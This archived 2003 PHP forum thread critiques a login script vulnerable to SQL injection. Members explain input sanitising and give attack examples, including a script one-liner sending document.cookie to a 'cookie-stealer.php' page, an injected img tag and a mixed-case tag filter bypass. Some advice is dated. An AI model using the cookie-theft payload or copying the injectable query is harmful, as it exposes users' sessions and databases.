Why do people code so complicatedly? [Archive]

Nixon

09-30-2003, 06:37 PM

Hey all. I always seem to look at peoples code for simple things such as log-in scripts and I always think how ridiculously long they are. I don't understand why they need to be so long? Here is some ofmy login script. Are there any security issues or what?.......

<?php

//Start session

session_start();

include("connectdb.inc.php");

// Member Login

$checkuserpass=mysql_query("select * from outwarinfo where username=\"$sessionusername\" and password=\"$sessionpassword\" ");
$found=mysql_num_rows($checkuserpass);

if($found == "1") { $loggedoutlink=*****; }

else

{

print "<script language=\"JavaScript\">";
print "location.href='login.php';";
print "</script>";

}

session_register("sessionlogged");
$sessionlogged= "$loggedoutlink";

?>

drawmack

09-30-2003, 08:03 PM

You are not doing any data scrubbing. What happens if the person enters ';SHOW TALBES; for their username?

This code would be hacked in about 30 seconds by anyone who targeted you.

steadyguy

09-30-2003, 10:38 PM

Many applications are much more complicated than your example. On the other hand, even your example could be simplified: remove the call to mysql_num_rows() and just test:if ($query = mysql_query($query)) It'll work because with a SELECT query, mysql_query() returns FALSE if no rows were found.

So one answer to your question is incomplete knowledge.

Another reason is varying experience levels: the more experienced you are, the more likely you are to know shortcuts, and thus write shorter code.

Yet another reason is because sometimes people find the long way more legible. This, of course, is somewhat relative, and depends not only on your experience but your personal coding style as well, not to mention background in other programming languages. While the somewhat PERLish $x = ($y != 0) ? 1/$y : $y/1; is functionally the same as if ($y != 0)
$x = 1/$y;
else
$x = $y/1;, not everyone is going to use the first way - despite the fact that it is effectively the same and is much more compact - and to some, perhaps it is more legible.

Another reason for complex code is because you can't plan explicitly for every possibility, so instead you plan for the one or two right/safe ones, and then call the rest errors. But you can't give people the standard error messages: not only do error messages turn people off, but they could also provide very useful information to an attacker.

ahundiak

10-01-2003, 11:01 AM

It'll work because with a SELECT query, mysql_query() returns FALSE if no rows were found.

From the manual

Only for SELECT,SHOW,EXPLAIN or DESCRIBE statements mysql_query() returns a resource identifier or FALSE if the query was not executed correctly. For other type of SQL statements, mysql_query() returns TRUE on success and FALSE on error. A non-FALSE return value means that the query was legal and could be executed by the server. It does not indicate anything about the number of rows affected or returned. It is perfectly possible for a query to succeed but affect no rows or return no rows.

http://www.php.net/manual/en/function.mysql-query.php

Also, adding ;SHOW TABLES won't cause a problem with mysql as multiple queries are not allowed in mysql_query. But I do agree that you should scrub your data.

Nixon

10-01-2003, 06:10 PM

What do you mean by scubbing data?

Thanks.

seby

10-01-2003, 06:20 PM

Originally posted by Nixon
What do you mean by scubbing data?

Thanks.

sanitizing.. ie: making it fool proof for security reasons.

example, you have a url that is : page.php?id=1

and your query is like this:
SELECT * FROM table WHERE id = '".$_GET['id']."'

and someone does page.php?id=\1\

they will likely generate an error because of the " \ " in the url.

Merve

10-01-2003, 09:09 PM

Also, the way you have it, people can use HTML code as their username. You might want to use htmlentities() on the username.

drawmack

10-02-2003, 10:01 AM

In short people code copmlicatedly because it's safer to do so.

steadyguy

10-06-2003, 10:24 AM

ahundiak ... made my point pretty well didn't I? :o I'm so used to using an abstraction layer I wrote that does what I described, that I got myself confused ... thanks for setting me straight.:D

dustbuster

10-07-2003, 05:42 PM

Originally posted by Merve
Also, the way you have it, people can use HTML code as their username. You might want to use htmlentities() on the username.

I don't understand how a person putting HTML code as their username could be dangerous in that situation. Can you provide and example an what it would do? Thanks

stolzyboy

10-07-2003, 05:51 PM

Originally posted by dustbuster
I don't understand how a person putting HTML code as their username could be dangerous in that situation. Can you provide and example an what it would do? Thanks

look at the bottom of this forum, all the usernames...
well what if you let them use <img src=http://www.whateverdomain.com/nastypicture.jpg>

well then when you echo $username

instead of seeing: stolzyboy
you could see: nasty picture

catch my drift...

always sanitize your code...whether you think it may/may not hurt you in the end, better to be safe than sorry...

dustbuster

10-07-2003, 06:05 PM

Originally posted by stolzyboy
look at the bottom of this forum, all the usernames...
well what if you let them use <img src=http://www.whateverdomain.com/nastypicture.jpg>

well then when you echo $username

instead of seeing: stolzyboy
you could see: nasty picture

catch my drift...

always sanitize your code...whether you think it may/may not hurt you in the end, better to be safe than sorry...

I realize that when setting up users one should sanitize the information. I was wondering why one would need to sanitize the information for the username in the code given at the beginning of this thread.

stolzyboy

10-07-2003, 06:08 PM

Originally posted by dustbuster
I realize that when setting up users one should sanitize the information. I was wondering why one would need to sanitize the information for the username in the code given at the beginning of this thread.

in THAT instance it may not matter depending, but things like <, ", ', etc... that are/can be in html tags may screw up your sql statement...

dustbuster

10-07-2003, 06:18 PM

Okay thanks

steadyguy

10-08-2003, 10:16 AM

Probably a greater danger of HTML in usernames is the <script> tag ... with a line or two of JavaScript or VBScript an attacker could do all sorts of damage from trivial to downright dastardly.

stolzyboy

10-08-2003, 10:42 AM

Originally posted by steadyguy
Probably a greater danger of HTML in usernames is the <script> tag ... with a line or two of JavaScript or VBScript an attacker could do all sorts of damage from trivial to downright dastardly.

ermmm.... moot point to me, an attacker isn't gonna piss with client side scripting to hammer your server, he'll find other ways into your box, but people can pissy with your site using html tags, on the other hand, yes someone could use an alert or something of that affect, but it isn't going to hurt your server, just your pride...

steadyguy

10-08-2003, 11:05 AM

Originally posted by stolzyboy
... an attacker isn't gonna piss with client side scripting to hammer your server, he'll find other ways into your box, but people can pissy with your site using html tags, on the other hand, yes someone could use an alert or something of that affect, but it isn't going to hurt your server, just your pride... You assume that an attacker has only one motivation: to hurt/disable/damage your server in some way. What if s/he doesn't care about your server? But instead wants to simply hurt/destroy your business or your site's reputation, or maybe they just like playing with people's minds or enjoy the sense of power it gives them. In any case, these are serious privacy violations, and in many countries, also criminal acts.

A couple examples: an attacker might try to turn away site users (via an offensive or deceptive popup dialog, or 'unclosable' windows, or infinitely spawning windows). Or they might redirect visitors to an offensive, or maybe worse, a spoof site (and then use unwary users' passwords to gain 'legitimate' access, steal their credit card numbers or personal information). Or, since most users use IE, they could spread a VBScript virus, or ... I'm positive there's lots more stuff that I've haven't thought of. But it's always the stuff you haven't thought of that bites you in the @ss ...

keith73

10-08-2003, 11:06 AM

Originally posted by stolzyboy
ermmm.... moot point to me, an attacker isn't gonna piss with client side scripting to hammer your server, he'll find other ways into your box, but people can pissy with your site using html tags, on the other hand, yes someone could use an alert or something of that affect, but it isn't going to hurt your server, just your pride...

actually, it could hurt your server by causing it to repeatedly open up a page on your site in new windows. Not everyone uses pop-up blocking.
They may be able to launch some form of DoS attack as well, have some script that constantly sends requests to one of the scripts on your site.

As for the original poster, I agree that some people write their code so unnecessarily complex, but not for the reasons you posted. I've debugged my predecessor's code and found numerous flaws in not only his code, but his logic as well. He'd often use preg_match when a simple split would do. He'd have multiple queries where 1 query with a left join would do. Using the same code over and over when instead of writing a function.

That's the kind of stuff that drives me crazy.

- keith

stolzyboy

10-08-2003, 11:07 AM

Originally posted by steadyguy
You assume that an attacker has only one motivation: to hurt/disable/damage your server in some way. What if s/he doesn't care about your server? But instead wants to simply hurt/destroy your business or your site's reputation, or maybe they just like playing with people's minds or enjoy the sense of power it gives them. In any case, these are serious privacy violations, and in many countries, also criminal acts.

all of which can be done with html tags, and ya know, <script> is an html tag...

stolzyboy

10-08-2003, 11:09 AM

Originally posted by keith73
They may be able to launch some form of DoS attack as well, have some script that constantly sends requests to one of the scripts on your site.

yep, they could but DoS attacks are accomplished much easier than that method and a little sneakier so you don't know til it's too late...

Weedpacket

10-08-2003, 04:46 PM

Originally posted by steadyguy
I'm positive there's lots more stuff that I've haven't thought of. But it's always the stuff you haven't thought of that bites you in the @ss ...

I've seen for instance one site which had a section at the bottom for people to post messages. Someone added <script> that rewrote all of the page's links to point to porn sites.

stolzyboy

10-08-2003, 04:49 PM

Originally posted by Weedpacket
I've seen for instance one site which had a section at the bottom for people to post messages. Someone added <script> that rewrote all of the page's links to point to porn sites.

now that would be funny...

Merve

10-08-2003, 08:26 PM

Yeah so use htmlentities()....:D (I always say that).

keith73

10-08-2003, 10:53 PM

why use htmlentities? Just use strip_tags and take the tags out all together. Tags have no business being part of a username.

- keith

Moonglobe

10-09-2003, 12:17 AM

Originally posted by keith73
why use htmlentities? Just use strip_tags and take the tags out all together. Tags have no business being part of a username.

- keith he's got a point there Merve.....:D

drawmack

10-09-2003, 01:02 AM

one of the nastiest things I ever heard of was someone put a javascript in that redirected user's to a page that looked exactly like the target site's log in page. Then he grabbed their username and password, used the original site's php to validate the person against the database using fsockopen and parsing the response. Then if they successfully logged in he grabbed their username and passord while redirecting them back to the originalting site. No one was the wiser until he stole a bunch of cc numbers with the grabbed info.

jayant

10-09-2003, 12:03 PM

one way is to grab the cookie and decode the stuff in the cookie to get username,password, other personal info of the [erson currently logged in.

<script>window.location='somesite/cookie-stealer.php?cookie='+document.cookie</script>

and then the person redirects you to some other page/site. you wont even know that ur cookie was stolen, which might have lots of sensitive info.

Moonglobe

10-09-2003, 12:07 PM

Originally posted by jayant
one way is to grab the cookie and decode the stuff in the cookie to get username,password, other personal info of the [erson currently logged in.

<script>window.location='somesite/cookie-stealer.php?cookie='+document.cookie</script>

and then the person redirects you to some other page/site. you wont even know that ur cookie was stolen, which might have lots of sensitive info. If it does, then you should never visit the site you were trying to visit again. who would be stupid enough to put everything in a cookie?

steadyguy

10-09-2003, 01:51 PM

Originally posted by keith73
why use htmlentities? Just use strip_tags and take the tags out all together. Tags have no business being part of a username.

- keith
strip_tags() is great, but you have to be careful ... apparently it doesn't take out mixed case tags. Ie., <sCriPT> ...

stolzyboy

10-09-2003, 01:54 PM

Originally posted by steadyguy
strip_tags() is great, but you have to be careful ... apparently it doesn't take out mixed case tags. Ie., <sCriPT> ...

yep, and if you read the notes at the manual for strip_tags there are many solutions to get around it, and is supposedly supposed to be fixed in PHP5

tekky

10-09-2003, 01:55 PM

Originally posted by steadyguy
strip_tags() is great, but you have to be careful ... apparently it doesn't take out mixed case tags. Ie., <sCriPT> ...

strtolower() usernames have no business being mixed case IMO :p

Weedpacket

10-09-2003, 04:42 PM

Originally posted by tekky
strtolower() usernames have no business being mixed case IMO :p :D, I'm going to have to get over my English bias that tells me proper nouns are supposed to be capitalised, then!

tekky

10-09-2003, 05:26 PM

Originally posted by Weedpacket
:D, I'm going to have to get over my English bias that tells me proper nouns are supposed to be capitalised, then!

then strtoupper() if thats your preference :p

however I wouldnt call a username a noun, its no different than an ID# to me.... (But thats just me...)

BuzzLY

10-09-2003, 06:19 PM

my username on PHPBuilder is "BuzzLY." Not buzzly, or BUZZLY, or even BuzzLy. It's not that I'm trying to be a 1337 h4x0r or anything -- it's simply how I prefer to "spell" it. I would be a bit annoyed if I typed BuzzLY as my username on a site and it automatically changed it to buzzly.

If you are going to go through the trouble of scrubbing, the least you can do is leave the "clean" stuff the way it was.

tekky

10-09-2003, 06:55 PM

Originally posted by BuzzLY
my username on PHPBuilder is "BuzzLY." Not buzzly, or BUZZLY, or even BuzzLy. It's not that I'm trying to be a 1337 h4x0r or anything -- it's simply how I prefer to "spell" it. I would be a bit annoyed if I typed BuzzLY as my username on a site and it automatically changed it to buzzly.

If you are going to go through the trouble of scrubbing, the least you can do is leave the "clean" stuff the way it was.

hehe, if I designed a username system for public use I might care... my login stuff is generally for me a and a select few friends who also prefer lowercase to mixed case or uppercase... :p

if it were for public use... then yah... :p (i might consider it then :D)

Merve

10-09-2003, 08:38 PM

That's why I said to use htmlentities()...so that a user's username may be &lt;hello&gt; but will appear as <hello>

htmlentities() also takes care of a few other characters, if I remember correctly.

Weedpacket

10-10-2003, 01:17 AM

Originally posted by tekky
hehe, if I designed a username system for public use I might care... my login stuff is generally for me a and a select few friends who also prefer lowercase to mixed case or uppercase... :p I guess then PolishGuy isn't one of your select few friends.

Then again, given the meaning of the word "noun", ID numbers are nouns.

LordShryku

10-10-2003, 01:22 AM

Noticing that everyone on this page at least one uppercase letter cept for tekky.....

Either way, for the case of authentication, you could use strtolower if you wer going to check the DB like
WHERE lower(username) = '".strtolower($userName)."'

But I agree that actually changing the case of usernames would just bug me